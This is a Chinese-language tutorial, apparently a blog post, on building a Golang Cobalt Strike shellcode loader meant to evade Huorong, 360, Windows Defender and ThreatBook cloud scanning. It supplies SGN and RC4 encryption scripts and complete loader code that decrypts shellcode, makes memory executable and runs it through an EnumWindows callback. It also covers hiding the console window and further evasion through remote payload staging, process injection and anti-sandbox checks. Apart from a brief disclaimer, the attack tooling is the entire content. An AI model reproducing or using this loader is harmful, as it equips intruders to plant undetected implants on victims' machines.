cs免杀(lodaer1,过国内御三家,微步云查杀)
字数 1489 2025-08-29 22:41:32
Golang免杀Loader制作教程:绕过国内御三家及微步云查杀
一、前言
本教程将详细介绍如何使用Golang制作一个能够绕过国内主流杀毒软件(火绒、360、Defender)以及微步云查杀的Cobalt Strike Loader。教程基于先知社区用户yawataa的分享,结合实践验证,提供完整的实现步骤。
二、工具准备
-
Cobalt Strike版本选择:
- 推荐使用CS 4.9或vshell版本(实测能轻松绕过火绒6.0内存查杀)
- CS 4.5也可用,但需要修改profile文件绕过火绒6.0的严格检测
-
辅助工具:
- SGN(Shikata ga nai加密工具)
- Editbin.exe(VC工具,用于隐藏控制台黑框)
- Python脚本(用于Shellcode转换和RC4加密)
三、实现步骤
1. Cobalt Strike配置
- 修改默认监听端口(示例中使用1412端口)
- 确保已处理好特征码(某些版本已预先修改好)
2. 生成Shellcode
- 在Cobalt Strike中选择"Attacks" → "Packages" → "Windows Executable (S)"
- 生成方式选择"raw"(二进制格式)
- 输出为.bin文件
3. Shellcode加密处理
3.1 使用SGN加密
sgn -a x86 -c 1 -o pd.bin raw_shellcode.bin
参数说明:
-a:架构(x86或x64)-c:加密轮数-o:输出文件名
3.2 使用Python脚本转换格式
# de.py - Shellcode转换脚本
with open('pd.bin', 'rb') as f:
sc = f.read()
print('{', end='')
for i, b in enumerate(sc):
if i != 0:
print(', ', end='')
print(f'0x{b:02x}', end='')
print('}')
3.3 RC4加密处理
# rc4en.py - RC4加密脚本
from Crypto.Cipher import ARC4
key = b'a3cb2tg1y!@#' # 自定义密钥
with open('pd.bin', 'rb') as f:
sc = f.read()
cipher = ARC4.new(key)
encrypted = cipher.encrypt(sc)
with open('encrypted.bin', 'wb') as f:
f.write(encrypted)
4. Golang Loader代码
package main
import (
"crypto/rc4"
"golang.org/x/sys/windows"
"syscall"
"unsafe"
)
func main() {
// 1.加载必要的DLL
kernel32 := windows.NewLazyDLL("kernel32.dll")
Activeds := syscall.NewLazyDLL("Activeds.dll")
User32 := windows.NewLazyDLL("User32.dll")
// 2.获取API函数
AllocADsMem := Activeds.NewProc("AllocADsMem")
VirtualProtect := kernel32.NewProc("VirtualProtect")
EnumWindows := User32.NewProc("EnumWindows")
RtlCopyMemory := kernel32.NewProc("RtlCopyMemory")
// 3.RC4解密Shellcode
key := []byte("a3cb2tg1y!@#")
sc := []byte{0x41, 0x0b, ..., 0xee} // 替换为加密后的Shellcode
cp, _ := rc4.NewCipher(key)
decrypted := make([]byte, len(sc))
cp.XORKeyStream(decrypted, sc)
// 4.分配内存并复制Shellcode
addr, _, _ := AllocADsMem.Call(uintptr(len(decrypted)))
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decrypted[0])), uintptr(len(decrypted)))
// 5.修改内存保护属性
oldProtect := 0x40
VirtualProtect.Call(addr, uintptr(len(decrypted)), 0x40, uintptr(unsafe.Pointer(&oldProtect)))
// 6.执行Shellcode
EnumWindows.Call(addr, 0)
}
5. 编译优化
5.1 批量编译脚本
# 使用不同参数编译测试
for i in {1..10}; do
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H=windowsgui" -o loader_$i.exe main.go
done
5.2 隐藏控制台黑框
使用editbin.exe修改PE文件属性:
editbin /SUBSYSTEM:WINDOWS /ENTRY:main.main loader.exe
或使用批量处理脚本:
// changeme.go - 批量隐藏黑框
package main
import (
"os/exec"
"path/filepath"
"strings"
)
func main() {
files, _ := filepath.Glob("*.exe")
for _, file := range files {
if !strings.Contains(file, "changeme") {
cmd := exec.Command("editbin", "/SUBSYSTEM:WINDOWS", "/ENTRY:main.main", file)
cmd.Run()
}
}
}
四、免杀原理分析
-
API调用技巧:
- 使用较少见的API如
AllocADsMem分配内存 - 通过
EnumWindows回调执行Shellcode
- 使用较少见的API如
-
加密方案:
- 双重加密:SGN + RC4
- 动态解密,不暴露原始Shellcode
-
内存操作:
- 使用
VirtualProtect修改内存属性 - 避免直接调用
CreateThread等敏感API
- 使用
-
编译优化:
- 多种编译参数组合测试
- 隐藏控制台窗口减少可疑行为
五、测试验证
-
火绒6.0:
- 内存查杀绕过成功
- 静态扫描无检测
-
360安全卫士:
- 无风险提示
- 云查杀无拦截
-
Windows Defender:
- 最新病毒库下无检测
- 行为分析无告警
六、进阶优化方向
-
文件分离加载:
- 将Shellcode存储在远程服务器
- 运行时下载并解密执行
-
进程注入:
- 选择合法进程进行注入
- 如explorer.exe、svchost.exe等
-
反沙箱检测:
- 添加环境检测逻辑
- 虚拟机和沙箱环境下不执行恶意代码
-
流量混淆:
- 修改C2通信特征
- 使用合法协议伪装(如HTTP over SSL)
七、注意事项
- 本教程仅供安全研究和授权测试使用
- 实际环境中可能需要根据杀软更新调整技术细节
- 建议在虚拟机环境中测试,避免意外感染
- 保持工具和技术的更新,防御方也在不断进化
八、附录
-
工具下载:
- SGN工具:可从GitHub获取
- Editbin.exe:Visual Studio自带工具
- Python脚本:可自行编写或从原帖获取
-
参考资源:
- Cobalt Strike官方文档
- Golang syscall包文档
- Windows API参考手册
通过以上步骤,您可以构建一个能够绕过国内主流杀毒软件的Golang Loader。请记住,免杀是一个持续对抗的过程,需要根据实际情况不断调整和优化您的技术方案。